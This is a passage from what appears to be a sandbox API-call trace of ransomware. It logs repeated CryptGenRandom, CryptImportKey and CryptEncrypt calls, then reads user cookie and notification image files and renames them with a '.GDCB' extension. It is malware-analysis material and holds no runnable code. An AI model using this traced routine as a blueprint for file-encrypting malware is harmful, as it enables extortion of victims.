pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0192.192] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.192] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0192.193] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.194] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.194] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0192.194] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.194] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0192.197] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5038a10) returned 1 [0192.197] CryptGetKeyParam (in: hKey=0x5038a10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0192.197] CryptEncrypt (in: hKey=0x5038a10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0192.197] GetLastError () returned 0x0 [0192.197] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0192.197] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0192.199] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5038f90) returned 1 [0192.199] CryptGetKeyParam (in: hKey=0x5038f90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0192.199] CryptEncrypt (in: hKey=0x5038f90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0192.199] GetLastError () returned 0x0 [0192.199] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.199] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\XNW1G0SM.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\xnw1g0sm.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0192.202] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0192.203] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0192.204] ReadFile (in: hFile=0x514, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d3e8*=0x75, lpOverlapped=0x0) returned 1 [0192.213] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0192.218] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\XNW1G0SM.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\xnw1g0sm.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\XNW1G0SM.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\xnw1g0sm.txt.gdcb")) returned 1 [0192.229] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0192.231] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.231] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.231] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0192.231] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.232] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0192.233] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.234] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.234] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0192.234] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.234] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0192.236] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5038a50) returned 1 [0192.236] CryptGetKeyParam (in: hKey=0x5038a50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0192.236] CryptEncrypt (in: hKey=0x5038a50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0192.236] GetLastError () returned 0x0 [0192.236] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.236] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0192.238] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5038bd0) returned 1 [0192.238] CryptGetKeyParam (in: hKey=0x5038bd0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0192.238] CryptEncrypt (in: hKey=0x5038bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0192.239] GetLastError () returned 0x0 [0192.239] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0192.239] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Z3FJF3OM.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\z3fjf3om.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0192.241] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0192.242] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0192.243] ReadFile (in: hFile=0x514, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d3e8*=0x63, lpOverlapped=0x0) returned 1 [0192.252] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0192.256] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Z3FJF3OM.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\z3fjf3om.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Z3FJF3OM.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\z3fjf3om.txt.gdcb")) returned 1 [0192.271] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0192.273] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.274] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.274] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0192.274] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.274] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0192.275] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.276] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.276] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0192.276] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0192.276] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0192.278] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5038c50) returned 1 [0192.278] CryptGetKeyParam (in: hKey=0x5038c50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0192.278] CryptEncrypt (in: hKey=0x5038c50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0192.279] GetLastError () returned 0x0 [0192.279] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.279] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0192.281] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5038ad0) returned 1 [0192.281] CryptGetKeyParam (in: hKey=0x5038ad0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0192.281] CryptEncrypt (in: hKey=0x5038ad0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0192.281] GetLastError () returned 0x0 [0192.281] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.281] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\appdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0192.287] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.288] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.289] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.289] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.289] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.289] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.290] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.291] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.291] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.291] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.291] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.294] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038e50) returned 1 [0192.294] CryptGetKeyParam (in: hKey=0x5038e50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.294] CryptEncrypt (in: hKey=0x5038e50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.294] GetLastError () returned 0x0 [0192.294] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.294] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.296] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038b10) returned 1 [0192.296] CryptGetKeyParam (in: hKey=0x5038b10, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.296] CryptEncrypt (in: hKey=0x5038b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.297] GetLastError () returned 0x0 [0192.297] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.297] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\179e8db5.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\179e8db5.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.299] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0192.300] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0192.301] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x10a9, lpOverlapped=0x0) returned 1 [0192.310] VirtualAlloc (lpAddress=0x0, dwSize=0x10b0, flAllocationType=0x3000, flProtect=0x4) returned 0x6060000 [0192.315] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\179e8db5.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\179e8db5.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\179e8db5.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\179e8db5.jpg.gdcb")) returned 0 [0192.320] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0192.321] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.322] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.322] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.322] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.322] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0192.323] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.324] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.324] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.324] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.325] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.327] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038b50) returned 1 [0192.327] CryptGetKeyParam (in: hKey=0x5038b50, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.327] CryptEncrypt (in: hKey=0x5038b50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.327] GetLastError () returned 0x0 [0192.327] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.327] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.330] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038b90) returned 1 [0192.330] CryptGetKeyParam (in: hKey=0x5038b90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.330] CryptEncrypt (in: hKey=0x5038b90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.330] GetLastError () returned 0x0 [0192.330] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.330] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\1ba49cb8.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\1ba49cb8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.333] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0192.335] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0192.337] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x2045, lpOverlapped=0x0) returned 1 [0192.360] VirtualAlloc (lpAddress=0x0, dwSize=0x2050, flAllocationType=0x3000, flProtect=0x4) returned 0x6060000 [0192.366] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\1ba49cb8.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\1ba49cb8.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\1ba49cb8.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\1ba49cb8.jpg.gdcb")) returned 0 [0192.377] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0192.379] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.380] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.380] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.380] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.380] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0192.382] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.382] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.382] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.382] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0192.383] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0192.385] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038cd0) returned 1 [0192.385] CryptGetKeyParam (in: hKey=0x5038cd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.385] CryptEncrypt (in: hKey=0x5038cd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.385] GetLastError () returned 0x0 [0192.385] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.385] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.387] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038e90) returned 1 [0192.387] CryptGetKeyParam (in: hKey=0x5038e90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.387] CryptEncrypt (in: hKey=0x5038e90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.387] GetLastError () returned 0x0 